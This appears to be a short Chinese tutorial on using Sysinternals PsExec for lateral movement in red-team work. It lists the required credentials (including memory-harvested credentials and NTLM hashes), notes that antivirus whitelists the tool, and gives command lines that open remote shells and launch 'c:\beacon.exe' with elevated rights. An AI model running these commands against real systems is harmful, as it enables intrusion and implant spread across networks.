PsExec工具远程命令执行横向移动
PsExec介绍
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin共享和ipc (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防火墙(防火墙禁止445端口连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。
下载地址https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
PsExec使用条件
1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有admin$共享
PsExec常用参数
psexec \\ip -u administrator -p admin cmd 进入半交互式shell |
psexec -accepteula \\192.168.108.101 -s cmd.exe 建立交互的shell |
psexec \\ip - uadministrator -p admin -w c:\cmd 进入交互式shell,且c:\是目标机器的工作目录 |
psexec \\ip -u administrator -p admin whoami all 执行命令 |
psexec \\ip -u administrator -p admin -d c:\beacon.exe 执行文件 |
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC的用户权限执行文件 |